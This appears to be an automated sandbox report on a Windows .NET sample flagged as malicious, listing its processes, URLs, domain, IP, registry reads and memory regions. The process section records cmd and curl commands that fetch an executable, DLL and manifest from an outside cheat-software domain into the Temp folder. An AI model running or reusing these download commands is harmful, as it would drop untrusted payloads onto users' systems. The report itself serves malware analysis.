IOC Report

loading gif

Files

File Path
Type
Category
Malicious
j82lgS5kgk.exe
PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
initial sample
malicious
C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_j82lgs5kgk.exe_d42a328ddfe8a7f19158220e406261856f9152_00000000_147602d8\Report.wer
Little-endian UTF-16 Unicode text, with CRLF line terminators
dropped
clean
C:\ProgramData\Microsoft\Windows\WER\Temp\WERF404.tmp.WERInternalMetadata.xml
XML 1.0 document, Little-endian UTF-16 Unicode text, with CRLF line terminators
dropped
clean
C:\ProgramData\Microsoft\Windows\WER\Temp\WERF5BA.tmp.xml
XML 1.0 document, ASCII text, with CRLF line terminators
dropped
clean
C:\Windows\appcompat\Programs\Amcache.hve
MS Windows registry file, NT/2000 or above
dropped
clean
\Device\ConDrv
ASCII text, with CR, LF line terminators
dropped
clean

Processes

Path
Cmdline
Malicious
C:\Users\user\Desktop\j82lgS5kgk.exe
"C:\Users\user\Desktop\j82lgS5kgk.exe"
malicious
C:\Windows\System32\cmd.exe
cmd" /C curl -L https://sincheats.com/gas/PS4SAVEWIZARD.exe.manifest -o "C:\Users\user\AppData\Local\Temp\flexteam.exe.manifest
clean
C:\Windows\System32\conhost.exe
C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
clean
C:\Windows\System32\curl.exe
curl -L https://sincheats.com/gas/PS4SAVEWIZARD.exe.manifest -o "C:\Users\user\AppData\Local\Temp\flexteam.exe.manifest"
clean
C:\Windows\System32\cmd.exe
cmd" /C curl -L https://sincheats.com/gas/PS4SAVEWIZARD.dll -o "C:\Users\user\AppData\Local\Temp\flexteam.dll
clean
C:\Windows\System32\conhost.exe
C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
clean
C:\Windows\System32\curl.exe
curl -L https://sincheats.com/gas/PS4SAVEWIZARD.dll -o "C:\Users\user\AppData\Local\Temp\flexteam.dll"
clean
C:\Windows\System32\cmd.exe
cmd" /C curl -L https://sincheats.com/gas/PS4SAVEWIZARD.exe -o "C:\Users\user\AppData\Local\Temp\flexteam.exe
clean
C:\Windows\System32\conhost.exe
C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
clean
C:\Windows\System32\curl.exe
curl -L https://sincheats.com/gas/PS4SAVEWIZARD.exe -o "C:\Users\user\AppData\Local\Temp\flexteam.exe"
clean
C:\Windows\Microsoft.NET\Framework64\v2.0.50727\dw20.exe
dw20.exe -x -s 824
clean
There are 1 hidden processes, click here to show them.

URLs

Name
IP
Malicious
https://sincheats.com/gas/PS4SAVEWIZARD.dll
unknown
clean
https://sincheats.com/gas/PS4SAVEWIZARD.exeKH
unknown
clean
https://sincheats.com/gas/PS4SAVEWIZARD.exe
unknown
clean
http://upx.sf.net
unknown
clean
https://sincheats.com/gas/PS4SAVEWIZARD.dllWhttps://sincheats.com/gas/PS4SAVEWIZARD.exe
unknown
clean
https://sincheats.com/gas/PS4SAVEWIZARD.dll3
unknown
clean
https://sincheats.com/gas/PS4SAVEWIZARD.exe.manifest
unknown
clean
https://sincheats.com/gas/PS4SAVEWIZARD.dll-oC:
unknown
clean
https://sincheats.com/gas/PS4SAVEWIZARD.exe.manifest-oC:
unknown
clean
https://sincheats.com/gas/PS4SAVEWIZARD.dllurlrc
unknown
clean
https://sincheats.com/gas/PS4SAVEWIZARD.exe-oC:
unknown
clean
There are 1 hidden URLs, click here to show them.

Domains

Name
IP
Malicious
sincheats.com
217.21.76.148
clean

IPs

IP
Domain
Country
Malicious
217.21.76.148
sincheats.com
United Kingdom
clean

Registry

Path
Value
Malicious
\REGISTRY\A\{79902008-744a-b0db-b10b-e9d7ecdccae5}\Root\InventoryApplicationFile\j82lgs5kgk.exe|d0a40a6cc4fd81d2
ProgramId
clean
\REGISTRY\A\{79902008-744a-b0db-b10b-e9d7ecdccae5}\Root\InventoryApplicationFile\j82lgs5kgk.exe|d0a40a6cc4fd81d2
FileId
clean
\REGISTRY\A\{79902008-744a-b0db-b10b-e9d7ecdccae5}\Root\InventoryApplicationFile\j82lgs5kgk.exe|d0a40a6cc4fd81d2
LowerCaseLongPath
clean
\REGISTRY\A\{79902008-744a-b0db-b10b-e9d7ecdccae5}\Root\InventoryApplicationFile\j82lgs5kgk.exe|d0a40a6cc4fd81d2
LongPathHash
clean
\REGISTRY\A\{79902008-744a-b0db-b10b-e9d7ecdccae5}\Root\InventoryApplicationFile\j82lgs5kgk.exe|d0a40a6cc4fd81d2
Name
clean
\REGISTRY\A\{79902008-744a-b0db-b10b-e9d7ecdccae5}\Root\InventoryApplicationFile\j82lgs5kgk.exe|d0a40a6cc4fd81d2
Publisher
clean
\REGISTRY\A\{79902008-744a-b0db-b10b-e9d7ecdccae5}\Root\InventoryApplicationFile\j82lgs5kgk.exe|d0a40a6cc4fd81d2
Version
clean
\REGISTRY\A\{79902008-744a-b0db-b10b-e9d7ecdccae5}\Root\InventoryApplicationFile\j82lgs5kgk.exe|d0a40a6cc4fd81d2
BinFileVersion
clean
\REGISTRY\A\{79902008-744a-b0db-b10b-e9d7ecdccae5}\Root\InventoryApplicationFile\j82lgs5kgk.exe|d0a40a6cc4fd81d2
BinaryType
clean
\REGISTRY\A\{79902008-744a-b0db-b10b-e9d7ecdccae5}\Root\InventoryApplicationFile\j82lgs5kgk.exe|d0a40a6cc4fd81d2
ProductName
clean
\REGISTRY\A\{79902008-744a-b0db-b10b-e9d7ecdccae5}\Root\InventoryApplicationFile\j82lgs5kgk.exe|d0a40a6cc4fd81d2
ProductVersion
clean
\REGISTRY\A\{79902008-744a-b0db-b10b-e9d7ecdccae5}\Root\InventoryApplicationFile\j82lgs5kgk.exe|d0a40a6cc4fd81d2
LinkDate
clean
\REGISTRY\A\{79902008-744a-b0db-b10b-e9d7ecdccae5}\Root\InventoryApplicationFile\j82lgs5kgk.exe|d0a40a6cc4fd81d2
BinProductVersion
clean
\REGISTRY\A\{79902008-744a-b0db-b10b-e9d7ecdccae5}\Root\InventoryApplicationFile\j82lgs5kgk.exe|d0a40a6cc4fd81d2
Size
clean
\REGISTRY\A\{79902008-744a-b0db-b10b-e9d7ecdccae5}\Root\InventoryApplicationFile\j82lgs5kgk.exe|d0a40a6cc4fd81d2
Language
clean
\REGISTRY\A\{79902008-744a-b0db-b10b-e9d7ecdccae5}\Root\InventoryApplicationFile\j82lgs5kgk.exe|d0a40a6cc4fd81d2
IsPeFile
clean
\REGISTRY\A\{79902008-744a-b0db-b10b-e9d7ecdccae5}\Root\InventoryApplicationFile\j82lgs5kgk.exe|d0a40a6cc4fd81d2
IsOsComponent
clean
HKEY_CURRENT_USER\Software\Microsoft\IdentityCRL\Immersive\production\Token\{67082621-8D18-4333-9C64-10DE93676363}
DeviceTicket
clean
HKEY_CURRENT_USER\Software\Microsoft\IdentityCRL\Immersive\production\Token\{67082621-8D18-4333-9C64-10DE93676363}
DeviceId
clean
HKEY_CURRENT_USER\Software\Microsoft\IdentityCRL\Immersive\production\Token\{67082621-8D18-4333-9C64-10DE93676363}
ApplicationFlags
clean
HKEY_CURRENT_USER\Software\Microsoft\IdentityCRL\Immersive\production\Property
0018000886E23216
clean
There are 11 hidden registries, click here to show them.

Memdumps

Base Address
Regiontype
Protect
Malicious
5D0000
heap default
page read and write
clean
4BC067F000
stack
page read and write
clean
7FF50E763000
unkown image
page readonly
clean
590000
unkown
page read and write
clean
20C1A23C000
unkown
page read and write
clean
1ECA8646000
heap default
page read and write
clean
89C027E000
stack
page read and write
clean
970000
heap private
page read and write
clean
7FF50E9B1000
unkown image
page readonly
clean
20C1AB8B000
unkown
page read and write
clean
7DF5D4A90000
unkown image
page readonly
clean
7FF583A04000
unkown image
page readonly
clean
1C5372C0000
unkown image
page readonly
clean
1FF6C23C000
unkown
page read and write
clean
62D000
unkown
page read and write
clean
24EF1D90000
unkown
page read and write
clean
598000
unkown
page read and write
clean
1A5F02C0000
heap private
page read and write
clean
20C1A110000
unkown image
page readonly
clean
7FFA362CA000
unkown
page execute and read and write
clean
7FF50A3B6000
unkown image
page readonly
clean
6C034FE000
stack
page read and write
clean
173F347F000
unkown
page read and write
clean
7FF513381000
unkown image
page readonly
clean
5F6000
unkown
page read and write
clean
7FF553614000
unkown image
page readonly
clean
254AB230000
heap default
page read and write
clean
20C1AB93000
unkown
page read and write
clean
20C1A2D7000
unkown
page read and write
clean
7FF513BF4000
unkown image
page readonly
clean
7DF523A40000
unkown image
page readonly
clean
20C1AB89000
unkown
page read and write
clean
20C1B002000
unkown
page read and write
clean
20C1AB8B000
unkown
page read and write
clean
DC0BA7E000
stack
page read and write
clean
7DF51F710000
unkown image
page readonly
clean
24B80CE0000
unkown
page read and write
clean
19DEB970000
unkown image
page readonly
clean
7DF528C90000
unkown image
page readonly
clean
27EC2780000
unkown image
page read and write
clean
1ECA865E000
unkown
page read and write
clean
AF32AFF000
stack
page read and write
clean
AF328FF000
stack
page read and write
clean
20C1A270000
unkown
page read and write
clean
420000
unkown image
page readonly
clean
24EF1E64000
unkown
page read and write
clean
1ECA85C0000
unkown
page read and write
clean
20C1AB8F000
unkown
page read and write
clean
30000
unkown image
page readonly
clean
7FF50E137000
unkown image
page readonly
clean
27EC2790000
unkown image
page readonly
clean
7FF50E9AA000
unkown image
page readonly
clean
5E7000
heap default
page read and write
clean
20C1B002000
unkown
page read and write
clean
173F347D000
unkown
page read and write
clean
180000
unkown
page read and write
clean
20C1A259000
unkown
page read and write
clean
7FF50E670000
unkown image
page readonly
clean
173F343F000
unkown
page read and write
clean
1EADEFD000
unkown
page read and write
clean
254AB405000
heap private
page read and write
clean
7DF57D6C2000
unkown image
page readonly
clean
1A5F0020000
unkown
page read and write
clean
7FF55320A000
unkown image
page readonly
clean
1A5F007A000
heap default
page read and write
clean
24EF1E02000
unkown
page read and write
clean
1EAE2FE000
stack
page read and write
clean
254AB24A000
heap default
page read and write
clean
62B000
heap default
page read and write
clean
1A5EFFF0000
unkown image
page readonly
clean
7FF50E686000
unkown image
page readonly
clean
20C1B063000
unkown
page read and write
clean
21B0CE28000
unkown
page read and write
clean
7FF5311FA000
unkown image
page readonly
clean
27EC2A74000
unkown
page read and write
clean
24B80CDC000
heap default
page read and write
clean
7DF53EE92000
unkown image
page readonly
clean
7DF574852000
unkown image
page readonly
clean
1ECA8930000
unkown image
page readonly
clean
254AB180000
unkown
page read and write
clean
7FF529C84000
unkown image
page readonly
clean
20C1A316000
unkown
page read and write
clean
7FF55F749000
unkown image
page readonly
clean
7FF50E131000
unkown image
page readonly
clean
21B0CE00000
unkown
page read and write
clean
99F127F000
stack
page read and write
clean
7FF5311DC000
unkown image
page readonly
clean
7DF583702000
unkown image
page readonly
clean
1C53744C000
unkown
page read and write
clean
7DF574850000
unkown image
page readonly
clean
72376FE000
stack
page read and write
clean
7FF50E495000
unkown image
page readonly
clean
7FF5993EA000
unkown image
page readonly
clean
173F345B000
unkown
page read and write
clean
1DCDA869000
unkown
page read and write
clean
7DF574842000
unkown image
page readonly
clean
20C1ABAA000
unkown
page read and write
clean
7FF529BC3000
unkown image
page readonly
clean
7FF479600000
unkown
page execute and read and write
clean
7DF5C0022000
unkown image
page readonly
clean
24B80CFC000
unkown
page read and write
clean
7DF574850000
unkown image
page readonly
clean
7DF598A90000
unkown image
page readonly
clean
19DEBA7F000
unkown
page read and write
clean
20C1ABAC000
unkown
page read and write
clean
20C1AB5C000
unkown
page read and write
clean
1FF6C090000
unkown image
page readonly
clean
7FF50A554000
unkown image
page readonly
clean
7FF529D6A000
unkown image
page readonly
clean
7DF57D6B0000
unkown image
page readonly
clean
27EC29CC000
unkown
page read and write
clean
7DF528C80000
unkown image
page readonly
clean
254AB040000
unkown image
page read and write
clean
1DCDAA70000
unkown
page read and write
clean
20C1AB6D000
unkown
page read and write
clean
1F2000
unkown image
page readonly
clean
7FF50E8CB000
unkown image
page readonly
clean
20C1AB7A000
unkown
page read and write
clean
7FF50A5DF000
unkown image
page readonly
clean
20C1AB7A000
unkown
page read and write
clean
A5BAFD000
unkown
page read and write
clean
7DF496960000
unkown image
page readonly
clean
19DEB920000
unkown image
page read and write
clean
21B0CD30000
unkown image
page readonly
clean
7DF466570000
unkown image
page readonly
clean
19DEB930000
unkown
page read and write
clean
7FF599419000
unkown image
page readonly
clean
7DF5686B2000
unkown image
page readonly
clean
7FFA362F2000
unkown
page execute and read and write
clean
940000
unkown image
page readonly
clean
7FF5311F4000
unkown image
page readonly
clean
7DF53EEA2000
unkown image
page readonly
clean
20C1B002000
unkown
page read and write
clean
7FF513A5D000
unkown image
page readonly
clean
7FF50E8BE000
unkown image
page readonly
clean
7FF596C1A000
unkown image
page readonly
clean
173F347F000
unkown
page read and write
clean
7FF50E92E000
unkown image
page readonly
clean
20C1ABA7000
unkown
page read and write
clean
7DF5AE520000
unkown image
page readonly
clean
6C031FE000
stack
page read and write
clean
1EAE4FE000
stack
page read and write
clean
20C1A2C5000
unkown
page read and write
clean
1FF6C247000
unkown
page read and write
clean
7FF55355F000
unkown image
page readonly
clean
96A000
unkown
page read and write
clean
27EC2A74000
unkown
page read and write
clean
7DF51F702000
unkown image
page readonly
clean
7FF50E894000
unkown image
page readonly
clean
7DF5ABDB0000
unkown image
page readonly
clean
1FF6C202000
unkown
page read and write
clean
6C030FD000
unkown
page read and write
clean
2620000
unkown
page read and write
clean
1C537310000
heap default
page read and write
clean
1ECA8580000
unkown image
page readonly
clean
7FF58381E000
unkown image
page readonly
clean
7DF583710000
unkown image
page readonly
clean
1C537429000
unkown
page read and write
clean
7FF50A380000
unkown image
page readonly
clean
1F16458F000
heap default
page read and write
clean
27EC2A0A000
unkown
page read and write
clean
7FF5685B6000
unkown image
page readonly
clean
1FF6C0B0000
unkown image
page readonly
clean
7DF598A92000
unkown image
page readonly
clean
7FF583697000
unkown image
page readonly
clean
7FF58399D000
unkown image
page readonly
clean
7DF598AB0000
unkown image
page readonly
clean
7FF5FFFE2000
unkown image
page readonly
clean
7FF513C01000
unkown image
page readonly
clean
89E000
stack
page read and write
clean
62B000
unkown
page read and write
clean
7FF513B47000
unkown image
page readonly
clean
7FF55F7C2000
unkown image
page readonly
clean
7FF599492000
unkown image
page readonly
clean
7FFA362B2000
unkown
page execute and read and write
clean
7FF50A5C4000
unkown image
page readonly
clean
7FF58396A000
unkown image
page readonly
clean
5D5000
unkown
page read and write
clean
F2131FC000
stack
page read and write
clean
20C1AB5E000
unkown
page read and write
clean
21B0CF15000
unkown
page read and write
clean
20C1A120000
unkown image
page readonly
clean
7DF43CD60000
unkown image
page readonly
clean
173F3460000
unkown
page read and write
clean
7DF5AE510000
unkown image
page readonly
clean
1A5F02C5000
heap private
page read and write
clean
1A5F02C9000
heap private
page read and write
clean
7FF529D99000
unkown image
page readonly
clean
7FF56E3D1000
unkown image
page readonly
clean
7FF586589000
unkown image
page readonly
clean
173F33E0000
unkown image
page readonly
clean
24B80B40000
unkown
page read and write
clean
7FF57B7C0000
unkown image
page readonly
clean
7DF546332000
unkown image
page readonly
clean
7FF553535000
unkown image
page readonly
clean
20C1AB5C000
unkown
page read and write
clean
7D147FF000
stack
page read and write
clean
7DF546320000
unkown image
page readonly
clean
7FF568631000
unkown image
page readonly
clean
1F0000
unkown image
page readonly
clean
7FF583771000
unkown image
page readonly
clean
27EC3240000
unkown
page read and write
clean
1DCDA820000
unkown image
page readonly
clean
7FF57B7E0000
unkown image
page readonly
clean
7FF586589000
unkown image
page readonly
clean
7FF5FFFD2000
unkown image
page readonly
clean
173F3460000
unkown
page read and write
clean
2960000
heap private
page read and write
clean
254AB0A0000
unkown
page read and write
clean
581000
heap default
page read and write
clean
7DF472710000
unkown image
page readonly
clean
20C1A2E0000
unkown
page read and write
clean
7FF58390C000
unkown image
page readonly
clean
5084CFE000
stack
page read and write
clean
9F501FE000
stack
page read and write
clean
598000
heap default
page read and write
clean
7FF513B0E000
unkown image
page readonly
clean
7FF4FDEA0000
unkown image
page readonly
clean
7FFA361F2000
unkown
page execute and read and write
clean
935000
heap private
page read and write
clean
1DCDAA69000
heap private
page read and write
clean
7FF59936B000
unkown image
page readonly
clean
73E000
stack
page read and write
clean
1F164AD0000
unkown image
page readonly
clean
7FF55353B000
unkown image
page readonly
clean
7FF552E83000
unkown image
page readonly
clean
5B8000
heap default
page read and write
clean
1FF6C28A000
unkown
page read and write
clean
579000
unkown
page read and write
clean
7FF5991D6000
unkown image
page readonly
clean
7FF50E9A4000
unkown image
page readonly
clean
173F343F000
unkown
page read and write
clean
1FF6C271000
unkown
page read and write
clean
5DE000
unkown
page read and write
clean
7DF426B50000
unkown image
page readonly
clean
20C1A1E0000
unkown
page read and write
clean
20C1A24C000
unkown
page read and write
clean
7FF50A5CA000
unkown image
page readonly
clean
7FF50E781000
unkown image
page readonly
clean
F212BCA000
unkown
page read and write
clean
20C1ABAA000
unkown
page read and write
clean
7FF50E8EF000
unkown image
page readonly
clean
DC0B877000
stack
page read and write
clean
20C1AB84000
unkown
page read and write
clean
4BC097F000
stack
page read and write
clean
20C1AB5E000
unkown
page read and write
clean
7FFA3620A000
unkown
page execute and read and write
clean
7FF55F7C2000
unkown image
page readonly
clean
1EAE0FF000
stack
page read and write
clean
24B80D19000
heap default
page read and write
clean
7FF56E590000
unkown image
page readonly
clean
1C0000
unkown
page read and write
clean
1B2CE000
stack
page read and write
clean
2E76000
unkown
page read and write
clean
7DF523A50000
unkown image
page readonly
clean
7FF50A5AC000
unkown image
page readonly
clean
7FF50A533000
unkown image
page readonly
clean
1FB000
heap private
page read and write
clean
1ECA865E000
unkown
page read and write
clean
24EF1F08000
unkown
page read and write
clean
27EC2A2F000
unkown
page read and write
clean
254AB090000
unkown image
page readonly
clean
27EC2A8D000
unkown
page read and write
clean
7DF574852000
unkown image
page readonly
clean
4BC04FB000
stack
page read and write
clean
7DF583712000
unkown image
page readonly
clean
570000
unkown
page read and write
clean
7DF57D6B2000
unkown image
page readonly
clean
254AB080000
unkown image
page readonly
clean
7DF546322000
unkown image
page readonly
clean
7FF58392B000
unkown image
page readonly
clean
7FF50E88B000
unkown image
page readonly
clean
7FFA36200000
unkown
page read and write
clean
7FF513B5A000
unkown image
page readonly
clean
7FF568594000
unkown image
page readonly
clean
7DF546332000
unkown image
page readonly
clean
4BC00EC000
unkown
page read and write
clean
20C1AB0F000
unkown
page read and write
clean
1FF6C313000
unkown
page read and write
clean
2500000
heap private
page read and write
clean
7FFA36340000
unkown
page execute and read and write
clean
5DD000
heap default
page read and write
clean
1F164530000
heap private
page read and write
clean
7FF553584000
unkown image
page readonly
clean
8B0000
unkown
page read and write
clean
7FF4FE5E1000
unkown image
page readonly
clean
20C1A150000
unkown image
page readonly
clean
20C1B002000
unkown
page read and write
clean
1C5372B0000
heap private
page read and write
clean
7FF55355C000
unkown image
page readonly
clean
7FF583996000
unkown image
page readonly
clean
5D3000
unkown
page read and write
clean
146000
unkown
page read and write
clean
285A000
unkown
page read and write
clean
7FF596A61000
unkown image
page readonly
clean
AF3257E000
stack
page read and write
clean
7FF50E76A000
unkown image
page readonly
clean
7FF596C99000
unkown image
page readonly
clean
62B000
unkown
page read and write
clean
AF3247B000
unkown
page read and write
clean
7FF552E87000
unkown image
page readonly
clean
7FF50E824000
unkown image
page readonly
clean
231E000
stack
page read and write
clean
7DF546340000
unkown image
page readonly
clean
7DF583712000
unkown image
page readonly
clean
2C70000
stack
page read and write
clean
7FF568540000
unkown image
page readonly
clean
89C02FF000
stack
page read and write
clean
7FF57B7E0000
unkown image
page readonly
clean
7FF53122D000
unkown image
page readonly
clean
1F164500000
unkown image
page readonly
clean
254AB090000
unkown image
page readonly
clean
20C1AB9C000
unkown
page read and write
clean
7FF529D2B000
unkown image
page readonly
clean
7FF5FFFE0000
unkown image
page readonly
clean
7DF574842000
unkown image
page readonly
clean
7FF583A11000
unkown image
page readonly
clean
5F3000
heap default
page read and write
clean
20C1A2EA000
unkown
page read and write
clean
20C1AB8A000
unkown
page read and write
clean
160000
unkown image
page readonly
clean
AF3267C000
stack
page read and write
clean
7FF513887000
unkown image
page readonly
clean
7DF574840000
unkown image
page readonly
clean
7FF55F70A000
unkown image
page readonly
clean
7236D7B000
unkown
page read and write
clean
150000
unkown image
page readonly
clean
1ECA8580000
unkown image
page readonly
clean
1C53746E000
unkown
page read and write
clean
7FF5993FF000
unkown image
page readonly
clean
20C1A1F0000
unkown image
page read and write
clean
7FF513B0A000
unkown image
page readonly
clean
7FF5FFFD2000
unkown image
page readonly
clean
7FF529D7F000
unkown image
page readonly
clean
7FF5AAFA2000
unkown image
page readonly
clean
7FF50E4D5000
unkown image
page readonly
clean
7236DFF000
stack
page read and write
clean
1DCDA7F0000
unkown image
page readonly
clean
7FF50A42F000
unkown image
page readonly
clean
1C5372E0000
unkown image
page readonly
clean
7FF58397F000
unkown image
page readonly
clean
24E0000
unkown image
page readonly
clean
7FF57B7D0000
unkown image
page readonly
clean
20C1AB97000
unkown
page read and write
clean
7DF5C0032000
unkown image
page readonly
clean
7FF5685B9000
unkown image
page readonly
clean
9F4FEFE000
stack
page read and write
clean
7FF50E88F000
unkown image
page readonly
clean
7DF5AE522000
unkown image
page readonly
clean
254AB409000
heap private
page read and write
clean
24EF1F00000
unkown
page read and write
clean
1FF6C1E0000
unkown
page read and write
clean
173F347D000
unkown
page read and write
clean
7FFA362BA000
unkown
page execute and read and write
clean
7FF553621000
unkown image
page readonly
clean
7FF50E637000
unkown image
page readonly
clean
24EF1E3C000
unkown
page read and write
clean
1FF6C253000
unkown
page read and write
clean
7FF59938C000
unkown image
page readonly
clean
1FF6CA02000
unkown
page read and write
clean
24EF1E29000
unkown
page read and write
clean
7FF50A56C000
unkown image
page readonly
clean
7FF58391E000
unkown image
page readonly
clean
24B81205000
heap private
page read and write
clean
A5BBFE000
stack
page read and write
clean
20C1A229000
unkown
page read and write
clean
24EF1C30000
heap private
page read and write
clean
19DEBAA0000
unkown
page read and write
clean
7DF53EEB0000
unkown image
page readonly
clean
173F347F000
unkown
page read and write
clean
1F1644D0000
unkown image
page readonly
clean
20C1AB86000
unkown
page read and write
clean
1FF6C600000
unkown image
page readonly
clean
1C537980000
unkown image
page readonly
clean
21B0CE35000
unkown
page read and write
clean
285E000
unkown
page read and write
clean
173F347D000
unkown
page read and write
clean
7FF529D74000
unkown image
page readonly
clean
7FF5FFFD0000
unkown image
page readonly
clean
F212E7E000
stack
page read and write
clean
7FF509DEA000
unkown image
page readonly
clean
7FF529D4F000
unkown image
page readonly
clean
7FF50E89F000
unkown image
page readonly
clean
7FF50E7C3000
unkown image
page readonly
clean
64D000
heap default
page read and write
clean
7FF50A671000
unkown image
page readonly
clean
7DF5AE520000
unkown image
page readonly
clean
20C1ABA6000
unkown
page read and write
clean
19DEBAB9000
unkown
page read and write
clean
20C1A24B000
unkown
page read and write
clean
7FF513B54000
unkown image
page readonly
clean
7FF5139F1000
unkown image
page readonly
clean
20C1AB8D000
unkown
page read and write
clean
7DF4815D0000
unkown image
page readonly
clean
1A5EFFF0000
unkown image
page readonly
clean
7DF546320000
unkown image
page readonly
clean
1ECA85A0000
unkown image
page readonly
clean
7FF5311B5000
unkown image
page readonly
clean
7DF5AE530000
unkown image
page readonly
clean
F2130FB000
stack
page read and write
clean
7FF5BFA02000
unkown image
page readonly
clean
AF327FE000
stack
page read and write
clean
975000
heap private
page read and write
clean
24B80B70000
unkown image
page readonly
clean
19DEBAA0000
unkown
page read and write
clean
7DF53EEB0000
unkown image
page readonly
clean
1A5EFFD0000
unkown image
page readonly
clean
7FF50A5F9000
unkown image
page readonly
clean
7FF50E862000
unkown image
page readonly
clean
1FF6C25D000
unkown
page read and write
clean
7DF523A42000
unkown image
page readonly
clean
DC0B47E000
stack
page read and write
clean
7FF513B10000
unkown image
page readonly
clean
7FF583937000
unkown image
page readonly
clean
7FF56E5D4000
unkown image
page readonly
clean
27EC2A2F000
unkown
page read and write
clean
7DF546330000
unkown image
page readonly
clean
7DF5686C0000
unkown image
page readonly
clean
7FF56E59B000
unkown image
page readonly
clean
20C1AB8D000
unkown
page read and write
clean
7FF583925000
unkown image
page readonly
clean
7DF5C0030000
unkown image
page readonly
clean
1C537600000
unkown image
page readonly
clean
1C537A70000
unkown
page read and write
clean
723747E000
stack
page read and write
clean
2503000
heap private
page read and write
clean
7DF51F700000
unkown image
page readonly
clean
1F164560000
heap default
page read and write
clean
F21327E000
stack
page read and write
clean
1FF6C24E000
unkown
page read and write
clean
7FF513A0B000
unkown image
page readonly
clean
254AB090000
unkown image
page readonly
clean
20C1A200000
unkown
page read and write
clean
20C1A313000
unkown
page read and write
clean
1C537450000
unkown
page read and write
clean
7FF5311E8000
unkown image
page readonly
clean
5BD000
heap default
page read and write
clean
21B0CE0F000
unkown
page read and write
clean
A80000
unkown image
page readonly
clean
20C1AB9C000
unkown
page read and write
clean
24A0000
unkown image
page read and write
clean
7FF5FFFE2000
unkown image
page readonly
clean
7DF51F6F0000
unkown image
page readonly
clean
5F6000
heap default
page read and write
clean
24EF1E5E000
unkown
page read and write
clean
7FF58391A000
unkown image
page readonly
clean
7FF583197000
unkown image
page readonly
clean
30000
unkown image
page readonly
clean
20C1A6D0000
unkown image
page readonly
clean
27EC2950000
unkown
page read and write
clean
19DEBA7F000
unkown
page read and write
clean
27EC28E0000
unkown
page read and write
clean
20C1ABA7000
unkown
page read and write
clean
24B80B50000
unkown image
page readonly
clean
24EF1C40000
unkown image
page readonly
clean
7FF55F72F000
unkown image
page readonly
clean
7DF528C80000
unkown image
page readonly
clean
7DF5C0020000
unkown image
page readonly
clean
5B0000
unkown
page read and write
clean
7FF531229000
unkown image
page readonly
clean
7FF5138C0000
unkown image
page readonly
clean
7FF513B6F000
unkown image
page readonly
clean
20C1A0D0000
unkown image
page read and write
clean
173F343F000
unkown
page read and write
clean
27EC2A28000
unkown
page read and write
clean
581000
unkown
page read and write
clean
7DF528C82000
unkown image
page readonly
clean
7237277000
stack
page read and write
clean
DC0B67D000
stack
page read and write
clean
7FF50E8BA000
unkown image
page readonly
clean
7FF568503000
unkown image
page readonly
clean
7DF5D4AA0000
unkown image
page readonly
clean
20C1A255000
unkown
page read and write
clean
7FF50A501000
unkown image
page readonly
clean
24EF1E52000
unkown
page read and write
clean
1ECA8925000
heap private
page read and write
clean
7FF596C20000
unkown image
page readonly
clean
7FF513A63000
unkown image
page readonly
clean
7FF56E564000
unkown image
page readonly
clean
7DF5D4A92000
unkown image
page readonly
clean
27EC2A28000
unkown
page read and write
clean
7FF5FFFD0000
unkown image
page readonly
clean
7FF5139B3000
unkown image
page readonly
clean
7FF50A580000
unkown image
page readonly
clean
1A5F0069000
unkown
page read and write
clean
7DF5AE512000
unkown image
page readonly
clean
7FF529E12000
unkown image
page readonly
clean
7FF50A543000
unkown image
page readonly
clean
27EC29E8000
unkown
page read and write
clean
7FF509DED000
unkown image
page readonly
clean
7DF5D4AA0000
unkown image
page readonly
clean
7DF5C0032000
unkown image
page readonly
clean
27EC2A07000
unkown
page read and write
clean
7DF583700000
unkown image
page readonly
clean
1DCDA820000
unkown image
page readonly
clean
7DF523A30000
unkown image
page readonly
clean
400000
unkown image
page read and write
clean
20C1A24F000
unkown
page read and write
clean
7DF51F6F0000
unkown image
page readonly
clean
7FF50E422000
unkown image
page readonly
clean
20C1AB81000
unkown
page read and write
clean
7FF5535AD000
unkown image
page readonly
clean
7FF513A0E000
unkown image
page readonly
clean
7FF50A0E2000
unkown image
page readonly
clean
1F2000
unkown image
page readonly
clean
20C1A257000
unkown
page read and write
clean
14B000
unkown
page read and write
clean
7DF523A30000
unkown image
page readonly
clean
CC0000
unkown image
page readonly
clean
7DF51F6F2000
unkown image
page readonly
clean
30000
unkown image
page readonly
clean
7DF57D6D0000
unkown image
page readonly
clean
30000
unkown image
page readonly
clean
7DF5D4A82000
unkown image
page readonly
clean
7FF53121E000
unkown image
page readonly
clean
7DF5686A2000
unkown image
page readonly
clean
7FF50A602000
unkown image
page readonly
clean
7FF55359E000
unkown image
page readonly
clean
7DF528CA0000
unkown image
page readonly
clean
1C53743C000
unkown
page read and write
clean
7FF513B15000
unkown image
page readonly
clean
7FF5834E0000
unkown image
page readonly
clean
7FF5FFFF0000
unkown image
page readonly
clean
5D3000
unkown
page read and write
clean
7DF5C0022000
unkown image
page readonly
clean
24EF1E13000
unkown
page read and write
clean
19DEBAB9000
unkown
page read and write
clean
7FF529BE1000
unkown image
page readonly
clean
7FF529C6D000
unkown image
page readonly
clean
5CA000
unkown
page read and write
clean
19DEBAA0000
unkown
page read and write
clean
7FF50E8AC000
unkown image
page readonly
clean
7FF50E90A000
unkown image
page readonly
clean
59D000
unkown
page read and write
clean
7FF5136D6000
unkown image
page readonly
clean
1FE000
heap private
page read and write
clean
7FF5837C3000
unkown image
page readonly
clean
7FF50E873000
unkown image
page readonly
clean
7FF5836D0000
unkown image
page readonly
clean
62D000
heap default
page read and write
clean
1ECA8610000
unkown image
page readonly
clean
27EC2950000
unkown
page read and write
clean
7FF529D8E000
unkown image
page readonly
clean
7DF5ABD90000
unkown image
page readonly
clean
27EC2960000
unkown image
page read and write
clean
1B1C0000
heap private
page read and write
clean
254AB080000
unkown image
page readonly
clean
1C5373F0000
unkown image
page readonly
clean
173F33B0000
unkown image
page readonly
clean
7FF56E3C6000
unkown image
page readonly
clean
1FF6C22A000
unkown
page read and write
clean
27EC29E4000
unkown
page read and write
clean
24EF1D70000
unkown image
page readonly
clean
DC0B4FE000
stack
page read and write
clean
20C1AB8F000
unkown
page read and write
clean
7FF5535A9000
unkown image
page readonly
clean
7FF529D96000
unkown image
page readonly
clean
8B2000
unkown image
page read and write
clean
20C1AB8D000
unkown
page read and write
clean
7DF546340000
unkown image
page readonly
clean
1FF6C302000
unkown
page read and write
clean
